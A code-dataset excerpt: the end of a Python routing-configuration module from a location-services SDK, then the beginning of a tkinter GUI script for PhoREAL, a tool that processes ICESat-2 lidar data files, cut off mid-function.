\"maxSpeed\": \"maxSpeed\",\n \"dynamicSpeedInfo\": \"dynamicSpeedInfo\",\n \"segmentId\": \"segmentId\",\n \"segmentRef\": \"segmentRef\",\n \"consumption\": \"consumption\",\n}\n\n#: Use this config for spans of routing API.\n#: Example: for ``walkAttributes`` routing_mode use ``ROUTING_SPANS.walkAttributes``.\nROUTING_SPANS = RoutingSpans(**routing_spans)\n\n\nclass RoutingTransportMode(Bunch):\n \"\"\"A class to define constant attributes for mode of transport to be used for the\n calculation of the route.\n\n * ``car``\n * ``truck``\n * ``pedestrian``\n * ``bicycle``\n * ``scooter``\n \"\"\"\n\n\ntransport_mode = {\n \"car\": \"car\",\n \"truck\": \"truck\",\n \"pedestrian\": \"pedestrian\",\n \"bicycle\": \"bicycle\",\n \"scooter\": \"scooter\",\n}\n\n#: Use this config for transport_mode of routing API.\n#: Example: for ``car`` transport_mode use ``ROUTING_TRANSPORT_MODE.car``.\nROUTING_TRANSPORT_MODE = RoutingTransportMode(**transport_mode)\n\n\nclass RouteCourse(Bunch):\n \"\"\"A class to define constant attributes for Course option.\"\"\"\n\n\nroute_course = {\"east\": 90, \"south\": 180, \"west\": 270, \"north\": 360}\n\nROUTE_COURSE = RouteCourse(**route_course)\n\n\nclass RouteMatchSideOfStreet(Bunch):\n \"\"\"A class to define constant attribuites for ``matchSideOfStreet``.\"\"\"\n\n\nmatch_sideof_street = {\"always\": \"always\", \"onlyIfDivided\": \"onlyIfDivided\"}\n\n#: Use this config for transport_mode of routing API.\n#: Example: for ``car`` transport_mode use ``ROUTING_TRANSPORT_MODE.car``.\nROUTE_MATCH_SIDEOF_STREET = RouteMatchSideOfStreet(**match_sideof_street)\n\n\nclass AvoidFeatures(Bunch):\n \"\"\"A class to define constant values for features to avoid during route calculation.\"\"\"\n\n\n#: Use this config for match_sideof_street for PlaceOptions.\n#: Example: for match_sideof_street ``always`` use ``ROUTE_MATCH_SIDEOF_STREET.always``.\nAVOID_FEATURES = AvoidFeatures(\n **{\n \"seasonalClosure\": \"seasonalClosure\",\n \"tollRoad\": \"tollRoad\",\n \"controlledAccessHighway\": \"controlledAccessHighway\",\n \"ferry\": \"ferry\",\n \"carShuttleTrain\": \"carShuttleTrain\",\n \"tunnel\": \"tunnel\",\n \"dirtRoad\": \"dirtRoad\",\n \"difficultTurns\": \"difficultTurns\",\n }\n)\n\n\nclass PlaceOptions:\n \"\"\"A class to define ``PlaceOptions`` for ``origin``/ ``via``/ ``destination``.\n\n Various options can be found here:\n\n `PlaceOptions `_.\n \"\"\" # noqa E501\n\n def __init__(\n self,\n course: Optional[int] = None,\n sideof_street_hint: Optional[List[float]] = None,\n match_sideof_street: Optional[str] = None,\n namehint: Optional[str] = None,\n radius: Optional[int] = None,\n min_course_distance: Optional[int] = None,\n ):\n \"\"\"Object Initializer.\n\n :param course: An int representing degrees clock-wise from north.\n Indicating the desired direction at the place. E.g. 90 indicating ``east``.\n This is defined in constant ``ROUTE_COURSE``.\n :param sideof_street_hint: A list of latitude and longitude.Indicating the side of the\n street that should be used.\n :param match_sideof_street: Specifies how the location set by ``sideof_street_hint`` should\n be handled. If this is set then sideof_street_hint should also be set. There are two\n valid values for match_sideof_street:\n\n ``always``:\n Always prefer the given side of street.\n\n ``onlyIfDivided``:\n Only prefer using side of street set by ``sideof_street_hint`` in case the street\n has dividers. This is the default behavior.\n\n These values are mainted as config in:\n :attr:`ROUTE_MATCH_SIDEOF_STREET `\n :param namehint: A string for the router to look for the place with the most similar name.\n This can e.g. include things like: North being used to differentiate between\n interstates I66 North and I66 South, Downtown Avenue being used to correctly\n select a residential street.\n :param radius: In meters Asks the router to consider all places within the given radius as\n potential candidates for route calculation. This can be either because it is not\n important which place is used, or because it is unknown. Radius more than 200 meters\n are not supported.\n :param min_course_distance: In meters Asks the routing service to try to find a route that\n avoids actions for the indicated distance. E.g. if the origin is determined by a moving\n vehicle, the user might not have time to react to early actions.\n \"\"\" # noqa E501\n self.course = course\n self.sideOfStreetHint: Optional[str] = None\n if sideof_street_hint is not None:\n self.sideOfStreetHint = \",\".join([str(point) for point in sideof_street_hint])\n self.matchSideOfStreet = match_sideof_street\n self.namehint = namehint\n self.radius = radius\n self.minCourseDistance = min_course_distance\n\n def __repr__(self):\n \"\"\"Return string representation of this instance.\"\"\"\n return json.dumps(self.__dict__)\n\n\nclass WayPointOptions:\n \"\"\"A class to define ``PlaceOptions`` for ``via``/ ``destination``.\n\n Various options can be found here:\n\n `PlaceOptions `_.\n \"\"\" # noqa E501\n\n def __init__(self, stop_duration: Optional[int] = None, pass_through: Optional[bool] = None):\n self.stopDuration = stop_duration\n self.passThrough = pass_through\n\n def __repr__(self):\n \"\"\"Return string representation of this instance.\"\"\"\n return json.dumps(self.__dict__)\n\n\nclass Scooter:\n \"\"\"A class to define attributes specific for the scooter route.\n\n Scooter specific parameters:\n\n allowHighway: Specifies whether the scooter is allowed on the highway or not.\n This parameter is optional. If not provided, then by default scooter is not allowed to use\n highway. There is a similar parameter ``avoid[features]=controlledAccessHighway`` to disallow\n highway usage. avoid[features] takes precedence so if this parameter is also used then\n scooters are not allowed to use highways even if allowHighway is used with value as true.\n Possible values:\n true: scooter is allowed to use the highway.\n false: scooter is not allowed to use the highway.\n \"\"\"\n\n def __init__(self, allow_highway: bool):\n self.allowHighway = allow_highway\n\n def __repr__(self):\n \"\"\"Return string representation of this instance.\"\"\"\n return json.dumps(self.__dict__)\n","sub_path":"here_location_services/config/routing_config.py","file_name":"routing_config.py","file_ext":"py","file_size_in_byte":11564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"147206148","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis script loads the PhoREAL GUI which executes getAtlMeasuredSwath_auto.py\r\n\r\nCopyright 2019 Applied Research Laboratories, University of Texas at Austin\r\n\r\nThis package is free software; the copyright holder gives unlimited\r\npermission to copy and/or distribute, with or without modification, as\r\nlong as this notice is preserved.\r\n\r\nAuthors:\r\n Mike Alonzo\r\n Eric Guenther\r\n \r\nDate: September 20, 2019\r\n\"\"\"\r\n\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\nfrom tkinter.ttk import Combobox\r\nfrom tkinter.ttk import Progressbar\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nimport numpy as np\r\nimport os\r\nimport time as runTime\r\n\r\nfrom getAtlMeasuredSwath_auto import getAtlMeasuredSwath\r\nfrom getAtlTruthSwath_auto import getAtlTruthSwath\r\nfrom getMeasurementError_auto import getMeasurementError, offsetsStruct\r\n\r\nfrom icesatPlot import (getPlot, getPlot_atl08, getPlot_truth, getPlot_measCorr)\r\nfrom icesatIO import createHTMLChart\r\nfrom icesatUtils import (superFilter, getNameParts)\r\nfrom gui_logo import images\r\nfrom gui_addins import (viewerBlank_html, viewerBlankOnline_html)\r\n\r\nimport webbrowser\r\n\r\n\r\n# Print opening message\r\nprint('\\n')\r\nprint('*************************************************')\r\nprint('PhoREAL GUI is running...')\r\nprint('*************************************************')\r\nprint('\\n')\r\n\r\n\r\nwindow = tk.Tk()\r\n\r\n# GUI title\r\nwindow.title('PhoREAL v3.12 - Applied Research Labs (The University of Texas at Austin)')\r\n\r\n# GUI size\r\nwindow.geometry('1140x500')\r\nwindow.resizable(width=False, height=False)\r\n\r\n# Set icon image for GUI\r\nif os.name == 'nt':\r\n window.wm_iconbitmap(images)\r\n\r\n\r\n# Create top level tabs\r\ntabControl = ttk.Notebook(window) \r\n \r\n# Create tab1\r\ntab1 = ttk.Frame(tabControl) \r\ntabControl.add(tab1, text='Home') \r\ntabControl.pack(expand=1, fill='both') \r\n\r\n# Create tab2\r\ntab2 = ttk.Frame(tabControl) \r\ntabControl.add(tab2, text='Plot Data') \r\ntabControl.pack(expand=1, fill='both') \r\n\r\n# Create tab3\r\ntab3 = ttk.Frame(tabControl) \r\ntabControl.add(tab3, text='Help') \r\ntabControl.pack(expand=1, fill='both')\r\n\r\n# Create tab4\r\ntab4 = ttk.Frame(tabControl) \r\ntabControl.add(tab4, text='About') \r\ntabControl.pack(expand=1, fill='both')\r\n\r\n# Set tab font sytle\r\ns = ttk.Style()\r\ns.configure('TNotebook.Tab', font=('Arial','10','bold'))\r\n\r\n# Get current working directory\r\ncwd = os.path.normpath(os.getcwd())\r\n\r\n\r\n###############################################################################\r\n#\r\n# TAB 1: GET MEASURED DATA\r\n#\r\n###############################################################################\r\n\r\n# Define global variable\r\nglobal atl03FileExists, atl08FileExists, truthDataExists\r\natl03FileExists = False\r\natl08FileExists = False\r\noutPathExists = True\r\ntruthDataExists = False\r\n\r\n### Panel label\r\nmeasLabelframe = tk.LabelFrame(tab1, width=545, height=450, text='Get ICESat-2 Data Input', font=('Arial Bold', 14))\r\nmeasLabelframe.place(x=15, y=10)\r\n\r\n### ATL03 INPUT FILE\r\n\r\n# Check ATL08 Button Callback\r\ndef checkATL03():\r\n \r\n global atl03FileExists\r\n \r\n atl03File = os.path.normpath(atl03_textBox.get().strip())\r\n atl03FileNotEmpty = atl03File != '.'\r\n atl03FileExists = os.path.exists(atl03File) and atl03FileNotEmpty\r\n \r\n# endDef\r\n \r\n# ATL03 File Entry Box\r\nlbl = tk.Label(measLabelframe, text='ATL03 File:', font=('Arial Bold', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=10)\r\natl03_textBox = tk.Entry(measLabelframe, width=70)\r\natl03_textBox.place(x=10, y=40)\r\natl03_textBox.bind('', (lambda event: checkATL03()))\r\natl03_textBox.bind('', (lambda event: checkATL03()))\r\n\r\n# Browse ATL03 File Button Callback\r\ndef browseAtl03():\r\n \r\n global atl03FileExists\r\n \r\n currentData = atl03_textBox.get()\r\n atl03File = os.path.normpath(filedialog.askopenfilename(title = 'Select ATL03 .h5 file', filetypes = [('h5 files','ATL03_*.h5')]))\r\n if(atl03File != '.'):\r\n atl03FileExists = os.path.exists(atl03File)\r\n if(atl03FileExists):\r\n atl03_textBox.delete(0,len(currentData))\r\n atl03_textBox.insert(0,atl03File) \r\n # endIf\r\n # endIf\r\n# endDef\r\n \r\n# ATL03 File Browse Button\r\natl03BrowseButton = tk.Button(measLabelframe, text='Browse', font=('Arial Bold', 12), command=browseAtl03) \r\natl03BrowseButton.place(x=450, y=30)\r\n\r\n\r\n### ATL08 INPUT FILE\r\n\r\n# Check ATL08 Button Callback\r\ndef checkATL08():\r\n \r\n global atl08FileExists\r\n \r\n atl08File = os.path.normpath(atl08_textBox.get().strip())\r\n atl08FileNotEmpty = atl08File != '.'\r\n atl08FileExists = os.path.exists(atl08File) and atl08FileNotEmpty\r\n useMeasErrorSection = useMeasErrorSectionChkState.get()\r\n if(atl08FileExists and useMeasErrorSection):\r\n useGroundIndex_checkBox.config(state = 'normal')\r\n # endIf \r\n# endDef\r\n \r\n# ATL08 File Entry Box\r\nlbl = tk.Label(measLabelframe, text='ATL08 File (Optional):', font=('Arial Bold', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=70)\r\natl08_textBox = tk.Entry(measLabelframe, width=70) \r\natl08_textBox.place(x=10, y=100)\r\natl08_textBox.bind('', (lambda event: checkATL08()))\r\natl08_textBox.bind('', (lambda event: checkATL08()))\r\n\r\n# Browse ATL08 File Button Callback\r\ndef browseAtl08():\r\n \r\n global atl08FileExists\r\n \r\n try:\r\n if(atl03FileExists):\r\n \r\n # Get ATL03 file and name parts\r\n atl03Path = atl03_textBox.get().strip()\r\n atl03File_w_ext = os.path.basename(atl03Path)\r\n atl03NameParts = getNameParts(atl03File_w_ext)\r\n \r\n # Build ATL08 .h5 string matching title of ATL03 file\r\n filterText = 'ATL08_' + atl03NameParts.year + atl03NameParts.month + \\\r\n atl03NameParts.day + atl03NameParts.hour + atl03NameParts.minute + \\\r\n atl03NameParts.second + '_' + atl03NameParts.trackNum + \\\r\n atl03NameParts.unknown + '_' + atl03NameParts.releaseNum + '*.h5'\r\n else:\r\n \r\n # String for all ATL08 .h5 files\r\n filterText = 'ATL08_*.h5' \r\n # endIf\r\n\r\n except:\r\n \r\n # String for all ATL08 .h5 files\r\n filterText = 'ATL08_*.h5'\r\n # endTry\r\n \r\n currentData = atl08_textBox.get()\r\n atl08File = os.path.normpath(filedialog.askopenfilename(title = 'Select ATL08 .h5 file', filetypes = [('h5 files', filterText)]))\r\n if(atl08File != '.'):\r\n atl08FileExists = os.path.exists(atl08File)\r\n useMeasErrorSection = useMeasErrorSectionChkState.get()\r\n if(atl08FileExists):\r\n atl08_textBox.delete(0,len(currentData))\r\n atl08_textBox.insert(0,atl08File)\r\n if(useMeasErrorSection):\r\n useGroundIndex_checkBox.config(state = 'normal')\r\n # endIf\r\n else:\r\n useGroundIndex_checkBox.config(state = 'disabled')\r\n # endIf\r\n # endIf\r\n# endDef\r\n \r\n# ATL08 File Browse Button\r\natl08BrowseButton = tk.Button(measLabelframe, text='Browse', font=('Arial Bold', 12), command=browseAtl08) \r\natl08BrowseButton.place(x=450, y=90)\r\n\r\n\r\n### Output Path\r\n\r\n# Output Path Entry Box\r\nlbl = tk.Label(measLabelframe, text='Output Directory:', font=('Arial Bold', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=130)\r\noutPath_textBox = tk.Entry(measLabelframe, width=70) \r\noutPath_textBox.place(x=10, y=160)\r\noutPath_textBox.insert(0,cwd)\r\n\r\n# Browse Output File Button Callback\r\ndef browseOutput():\r\n \r\n global outPathExists\r\n \r\n currentData = outPath_textBox.get()\r\n outPath = os.path.normpath(filedialog.askdirectory(title = 'Select Output File Path'))\r\n if(outPath != '.'):\r\n outPath_textBox.delete(0,len(currentData))\r\n outPath_textBox.insert(0,outPath) \r\n # endIf\r\n \r\n# endDef\r\n \r\n# Output Directory Browse Button\r\noutPathBrowseButton = tk.Button(measLabelframe, text='Browse', font=('Arial Bold', 12), command=browseOutput) \r\noutPathBrowseButton.place(x=450, y=150)\r\n\r\n\r\n### GT Number Text Label\r\nlbl = tk.Label(measLabelframe, text='Ground Track Numbers:', font=('Arial Bold', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=190)\r\n\r\ngtNumsAll = np.array(['GT1R','GT1L','GT2R','GT2L','GT3R','GT3L'])\r\n\r\n### GT Number Checkboxes\r\ngtNum1rChkState = tk.BooleanVar()\r\ngtNum1rChkState.set(True)\r\ngtNum1r_checkBox = tk.Checkbutton(measLabelframe, text = 'GT1R', font=('Arial', 12), var = gtNum1rChkState) \r\ngtNum1r_checkBox.place(x=10, y=220)\r\n\r\ngtNum2rChkState = tk.BooleanVar()\r\ngtNum2rChkState.set(True)\r\ngtNum2r_checkBox = tk.Checkbutton(measLabelframe, text = 'GT2R', font=('Arial', 12), var = gtNum2rChkState) \r\ngtNum2r_checkBox.place(x=90, y=220)\r\n\r\ngtNum3rChkState = tk.BooleanVar()\r\ngtNum3rChkState.set(True)\r\ngtNum3r_checkBox = tk.Checkbutton(measLabelframe, text = 'GT3R', font=('Arial', 12), var = gtNum3rChkState) \r\ngtNum3r_checkBox.place(x=170, y=220)\r\n\r\ngtNum1lChkState = tk.BooleanVar()\r\ngtNum1lChkState.set(False)\r\ngtNum1l_checkBox = tk.Checkbutton(measLabelframe, text = 'GT1L', font=('Arial', 12), var = gtNum1lChkState) \r\ngtNum1l_checkBox.place(x=250, y=220)\r\n\r\ngtNum2lChkState = tk.BooleanVar()\r\ngtNum2lChkState.set(False)\r\ngtNum2l_checkBox = tk.Checkbutton(measLabelframe, text = 'GT2L', font=('Arial', 12), var = gtNum2lChkState) \r\ngtNum2l_checkBox.place(x=330, y=220)\r\n\r\ngtNum3lChkState = tk.BooleanVar()\r\ngtNum3lChkState.set(False)\r\ngtNum3l_checkBox = tk.Checkbutton(measLabelframe, text = 'GT3L', font=('Arial', 12), var = gtNum3lChkState) \r\ngtNum3l_checkBox.place(x=410, y=220)\r\n\r\n\r\n### Check None Button Callback\r\ndef checkNone():\r\n if(trimNoneModeChkState):\r\n trimAutoModeChkState.set(False)\r\n trimManualModeChkState.set(False)\r\n latModeChkState.set(False)\r\n latMode_checkBox.config(state = 'disabled')\r\n latMin_textBox.config(state = 'disabled')\r\n latMax_textBox.config(state = 'disabled')\r\n timeModeChkState.set(False)\r\n timeMode_checkBox.config(state = 'disabled')\r\n timeMin_textBox.config(state = 'disabled')\r\n timeMax_textBox.config(state = 'disabled')\r\n # endIf\r\n# endDef\r\n \r\n### Check Auto Button Callback\r\ndef checkAuto():\r\n if(trimAutoModeChkState):\r\n trimNoneModeChkState.set(False)\r\n trimManualModeChkState.set(False)\r\n latModeChkState.set(False)\r\n latMode_checkBox.config(state = 'disabled')\r\n latMin_textBox.config(state = 'disabled')\r\n latMax_textBox.config(state = 'disabled')\r\n timeModeChkState.set(False)\r\n timeMode_checkBox.config(state = 'disabled')\r\n timeMin_textBox.config(state = 'disabled')\r\n timeMax_textBox.config(state = 'disabled')\r\n # endIf\r\n# endDef\r\n \r\n### Check Manual Button Callback\r\ndef checkManual():\r\n if(trimManualModeChkState):\r\n trimNoneModeChkState.set(False)\r\n trimAutoModeChkState.set(False)\r\n latModeChkState.set(False)\r\n latMode_checkBox.config(state = 'normal')\r\n latMin_textBox.config(state = 'normal')\r\n latMax_textBox.config(state = 'normal')\r\n timeModeChkState.set(False)\r\n timeMode_checkBox.config(state = 'normal')\r\n timeMin_textBox.config(state = 'normal')\r\n timeMax_textBox.config(state = 'normal')\r\n # endIf\r\n# endDef\r\n \r\n\r\n### Trim Info Text Label\r\nlbl = tk.Label(measLabelframe, text='Trim ICESat-2 Data Options:', font=('Arial Bold', 12))\r\nlbl.place(x=10, y=260)\r\n\r\n### Trim Info Checkboxes\r\ntrimNoneModeChkState = tk.BooleanVar()\r\ntrimNoneModeChkState.set(True)\r\ntrimNoneMode_checkBox = tk.Checkbutton(measLabelframe, text = 'None', font=('Arial', 12), var = trimNoneModeChkState, command = checkNone) \r\ntrimNoneMode_checkBox.place(x=10, y=290)\r\n\r\ntrimAutoModeChkState = tk.BooleanVar()\r\ntrimAutoModeChkState.set(False)\r\ntrimAutoMode_checkBox = tk.Checkbutton(measLabelframe, text = 'Auto', font=('Arial', 12), var = trimAutoModeChkState, command = checkAuto) \r\ntrimAutoMode_checkBox.place(x=10, y=320)\r\n\r\ntrimManualModeChkState = tk.BooleanVar()\r\ntrimManualModeChkState.set(False)\r\ntrimManualMode_checkBox = tk.Checkbutton(measLabelframe, text = 'Manual', font=('Arial', 12), var = trimManualModeChkState, command = checkManual) \r\ntrimManualMode_checkBox.place(x=100, y=290)\r\n\r\n### Check Latitude Button Callback\r\ndef checkLat():\r\n if(latModeChkState):\r\n timeModeChkState.set(False)\r\n # endIf\r\n# endDef\r\n \r\n### Check Time Button Callback\r\ndef checkTime():\r\n if(timeModeChkState):\r\n latModeChkState.set(False)\r\n # endIf\r\n# endDef\r\n \r\n \r\n### Lat Mode Checkbox\r\nlatModeChkState = tk.BooleanVar()\r\nlatModeChkState.set(False)\r\nlatMode_checkBox = tk.Checkbutton(measLabelframe, text = 'Latitude', font=('Arial', 12), var = latModeChkState, command = checkLat, state = 'disabled') \r\nlatMode_checkBox.place(x=200, y=290)\r\n\r\n### Lat Min Text Label\r\nlbl = tk.Label(measLabelframe, text='Min', font=('Arial', 10))\r\nlbl.place(x=310, y=270)\r\n\r\n# Lat Min Text Entry\r\nlatMin_textBox = tk.Entry(measLabelframe, width=7, state = 'disabled') \r\nlatMin_textBox.place(x=305, y=295)\r\n\r\n### Lat Max Text Label\r\nlbl = tk.Label(measLabelframe, text='Max', font=('Arial', 10))\r\nlbl.place(x=385, y=270)\r\n\r\n# Lat Max Text Entry\r\nlatMax_textBox = tk.Entry(measLabelframe, width=7, state = 'disabled') \r\nlatMax_textBox.place(x=380, y=295)\r\n\r\n### Lat Degrees Text Label\r\nlbl = tk.Label(measLabelframe, text='Degrees', font=('Arial', 10))\r\nlbl.place(x=440, y=295)\r\n\r\n### Time Mode Checkbox\r\ntimeModeChkState = tk.BooleanVar()\r\ntimeModeChkState.set(False)\r\ntimeMode_checkBox = tk.Checkbutton(measLabelframe, text = 'Time', font=('Arial', 12), var = timeModeChkState, command = checkTime, state = 'disabled') \r\ntimeMode_checkBox.place(x=200, y=320)\r\n\r\n# Time Min Text Entry\r\ntimeMin_textBox = tk.Entry(measLabelframe, width=7, state = 'disabled') \r\ntimeMin_textBox.place(x=305, y=325)\r\n\r\n# Time Max Text Entry\r\ntimeMax_textBox = tk.Entry(measLabelframe, width=7, state = 'disabled') \r\ntimeMax_textBox.place(x=380, y=325)\r\n\r\n### Time Seconds Text Label\r\nlbl = tk.Label(measLabelframe, text='Seconds', font=('Arial', 10))\r\nlbl.place(x=440, y=325)\r\n\r\n### Create Output Files Text Label\r\nlbl = tk.Label(measLabelframe, text='Create Output Files:', font=('Arial Bold', 12))\r\nlbl.place(x=10, y=360)\r\n\r\n### Create ATL03 .las Text Entry\r\ncreateLasChkState = tk.BooleanVar()\r\ncreateLasChkState.set(True)\r\ncreateLas_checkBox = tk.Checkbutton(measLabelframe, text = 'ATL03 .las File', font=('Arial', 12), var = createLasChkState) \r\ncreateLas_checkBox.place(x=10, y=390)\r\n\r\n### Create ATL03 .kml Text Entry\r\ncreateKmlChkState = tk.BooleanVar()\r\ncreateKmlChkState.set(True)\r\ncreateKml_checkBox = tk.Checkbutton(measLabelframe, text = 'ATL03 .kml File', font=('Arial', 12), var = createKmlChkState) \r\ncreateKml_checkBox.place(x=190, y=360)\r\n\r\n### Create ATL03 .csv Text Entry\r\ncreateCsvChkState = tk.BooleanVar()\r\ncreateCsvChkState.set(True)\r\ncreateCsv_checkBox = tk.Checkbutton(measLabelframe, text = 'ATL03 .csv File', font=('Arial', 12), var = createCsvChkState) \r\ncreateCsv_checkBox.place(x=190, y=390)\r\n\r\n### Create ATL08 .kml Text Entry\r\ncreateATL08KmlChkState = tk.BooleanVar()\r\ncreateATL08KmlChkState.set(False)\r\ncreateATL08Kml_checkBox = tk.Checkbutton(measLabelframe, text = 'ATL08 .kml File', font=('Arial', 12), var = createATL08KmlChkState) \r\ncreateATL08Kml_checkBox.place(x=370, y=360)\r\n\r\n### Create ATL08 .csv Text Entry\r\ncreateATL08CsvChkState = tk.BooleanVar()\r\ncreateATL08CsvChkState.set(False)\r\ncreateATL08Csv_checkBox = tk.Checkbutton(measLabelframe, text = 'ATL08 .csv File', font=('Arial', 12), var = createATL08CsvChkState) \r\ncreateATL08Csv_checkBox.place(x=370, y=390)\r\n \r\n\r\n###############################################################################\r\n#\r\n# TRUTH SECTION\r\n#\r\n###############################################################################\r\n\r\n### TRUTH DATA Panel label\r\ntruthLabelframe = tk.LabelFrame(tab1, width=545, height=120, text='Get Reference Data Input', font=('Arial Bold', 14))\r\ntruthLabelframe.place(x=580, y=10)\r\n\r\n# Use reference section callback\r\ndef useTruthSectionCallback():\r\n useTruthSection = useTruthSectionChkState.get()\r\n if(useTruthSection):\r\n for child in truthLabelframe.winfo_children():\r\n child.configure(state='normal')\r\n # endFor\r\n checkUseExistingTruth()\r\n else:\r\n for child in truthLabelframe.winfo_children():\r\n child.configure(state='disable')\r\n # endFor \r\n useMeasErrorSectionChkState.set(False)\r\n useMeasErrorSectionCallback()\r\n # endIf\r\n# endDef\r\n \r\n### Activate Truth section\r\nuseTruthSectionChkState = tk.BooleanVar()\r\nuseTruthSectionChkState.set(True)\r\nuseTruthSection_checkBox = tk.Checkbutton(tab1, text = '', font=('Arial', 12), var = useTruthSectionChkState, command = useTruthSectionCallback) \r\nuseTruthSection_checkBox.place(x=1110, y=10)\r\n\r\n# Browse Truth Data Directory File Button Callback\r\ndef browseTruthDir():\r\n \r\n global truthDataExists\r\n \r\n currentData = truthDataDir_textBox.get()\r\n useTruth = useExistingTruthChkState.get()\r\n \r\n if(useTruth):\r\n truthData = os.path.normpath(filedialog.askopenfilename(title = 'Select Reference File', filetypes = [('reference files','*.las *.laz *.tif')]))\r\n truthDataExists = os.path.exists(truthData)\r\n else:\r\n truthData = os.path.normpath(filedialog.askdirectory(title = 'Select Reference Directory'))\r\n truthDataExists = os.path.isdir(truthData)\r\n # endIf\r\n \r\n if(truthDataExists and truthData!='.'):\r\n truthDataDir_textBox.delete(0,len(currentData))\r\n truthDataDir_textBox.insert(0,truthData) \r\n else:\r\n truthDataExists = False\r\n # endIf\r\n# endDef\r\n \r\n# Use Existing Truth button callback\r\ndef checkUseExistingTruth():\r\n useTruth = useExistingTruthChkState.get()\r\n if(useTruth):\r\n truthBuffer_textBox.config(state = 'disabled')\r\n truthDir_lbl.config(text = 'Reference File Name:')\r\n else:\r\n truthBuffer_textBox.config(state = 'normal')\r\n truthDir_lbl.config(text = 'Reference Directory:')\r\n # endIf\r\n# endDef\r\n\r\n### Use Existing Truth Check Box\r\nuseExistingTruthChkState = tk.BooleanVar()\r\nuseExistingTruthChkState.set(True)\r\nuseExistingTruth_checkBox = tk.Checkbutton(truthLabelframe, text = 'Use Existing Data', font=('Arial', 12), var = useExistingTruthChkState, command = checkUseExistingTruth) \r\nuseExistingTruth_checkBox.place(x=10, y=10)\r\n\r\n### Truth Buffer Size Entry Box\r\nlbl = tk.Label(truthLabelframe, text='Buffer Size (m):', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=180, y=12)\r\ntruthBuffer_textBox = tk.Entry(truthLabelframe, width=5)\r\ntruthBuffer_textBox.place(x=300, y=16)\r\ntruthBuffer_textBox.insert(0,'50')\r\ntruthBuffer_textBox.config(state = 'disabled')\r\n\r\n### Create Output Truth File Check Box\r\ncreateTruthFileChkState = tk.BooleanVar()\r\ncreateTruthFileChkState.set(False)\r\ncreateTruthFile_checkBox = tk.Checkbutton(truthLabelframe, text = 'Create Reference File', font=('Arial', 12), var = createTruthFileChkState) \r\ncreateTruthFile_checkBox.place(x=350, y=10)\r\n\r\n# Browse Truth Data Directory File Button Callback\r\ndef checkTruthDir():\r\n \r\n global truthDataExists\r\n \r\n truthData = os.path.normpath(truthDataDir_textBox.get().strip())\r\n truthDataNotEmpty = truthData != '.'\r\n useTruth = useExistingTruthChkState.get()\r\n if(useTruth):\r\n truthDataExists = os.path.exists(truthData) and truthDataNotEmpty\r\n else:\r\n truthDataExists = os.path.isdir(truthData) and truthDataNotEmpty\r\n # endIf\r\n \r\n # endIf\r\n# endDef\r\n \r\n### Truth Data Directory Entry Box\r\ntruthDir_lbl = tk.Label(truthLabelframe, text='Reference File Name:', font=('Arial', 12), anchor = 'w', justify='left')\r\ntruthDir_lbl.place(x=10, y=50)\r\ntruthDataDir_textBox = tk.Entry(truthLabelframe, width=43)\r\ntruthDataDir_textBox.place(x=170, y=55)\r\ntruthDataDir_textBox.bind('', (lambda event: checkTruthDir()))\r\ntruthDataDir_textBox.bind('', (lambda event: checkTruthDir()))\r\n\r\n### Truth Data Dir Browse Button\r\ntruthDataDirBrowseButton = tk.Button(truthLabelframe, text='Browse', font=('Arial Bold', 12), command=browseTruthDir) \r\ntruthDataDirBrowseButton.place(x=450, y=50)\r\n\r\n\r\n###############################################################################\r\n#\r\n# MEASUREMENT ERROR SECTION\r\n#\r\n###############################################################################\r\n\r\n### MEASUREMENT ERROR Panel label\r\nmeasErrorLabelframe = tk.LabelFrame(tab1, width=545, height=250, text='Find ICESat-2 Offsets Relative to Reference Data', font=('Arial Bold', 14))\r\nmeasErrorLabelframe.place(x=580, y=140)\r\n\r\n# Use Measurement Error section callback\r\ndef useMeasErrorSectionCallback():\r\n useTruthSection = useTruthSectionChkState.get()\r\n useMeasErrorSection = useMeasErrorSectionChkState.get()\r\n if(useTruthSection and useMeasErrorSection):\r\n for child in measErrorLabelframe.winfo_children():\r\n child.configure(state='normal')\r\n # endFor\r\n useVertShiftCallback()\r\n useMeasSigConfCallback()\r\n useGroundIndexConfCallback()\r\n if(not atl08FileExists):\r\n useGroundIndex_checkBox.config(state = 'disabled')\r\n # endIf\r\n else:\r\n for child in measErrorLabelframe.winfo_children():\r\n child.configure(state='disable')\r\n # endFor\r\n useMeasErrorSectionChkState.set(False)\r\n # endIf\r\n# endDef\r\n \r\n### Activate Measurement Error section\r\nuseMeasErrorSectionChkState = tk.BooleanVar()\r\nuseMeasErrorSectionChkState.set(True)\r\nuseMeasErrorSection_checkBox = tk.Checkbutton(tab1, text = '', font=('Arial', 12), var = useMeasErrorSectionChkState, command = useMeasErrorSectionCallback) \r\nuseMeasErrorSection_checkBox.place(x=1110, y=140)\r\n\r\n### Cross-Track Bounds Entry Box\r\nlbl = tk.Label(measErrorLabelframe, text='Cross-Track Bounds (m):', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=10)\r\ncrossTrackBounds_textBox = tk.Entry(measErrorLabelframe, width=10)\r\ncrossTrackBounds_textBox.place(x=195, y=15)\r\ncrossTrackBounds_textBox.insert(0,'-48, 48')\r\n\r\n### Along-Track Bounds Entry Box\r\nlbl = tk.Label(measErrorLabelframe, text='Along-Track Bounds (m):', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=270, y=10)\r\nalongTrackBounds_textBox = tk.Entry(measErrorLabelframe, width=10)\r\nalongTrackBounds_textBox.place(x=455, y=15)\r\nalongTrackBounds_textBox.insert(0,'-48, 48')\r\n\r\n### Multi-Resolutional Stepdown Entry Box\r\nlbl = tk.Label(measErrorLabelframe, text='Grid Resolution(s) (m):', font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=80)\r\nmultiresStepdown_textBox = tk.Entry(measErrorLabelframe, width=15)\r\nmultiresStepdown_textBox.place(x=175, y=85)\r\nmultiresStepdown_textBox.insert(0,'8, 4, 2, 1')\r\n\r\n# Use vertical shift checkbox callback\r\ndef useVertShiftCallback():\r\n useVertShift = 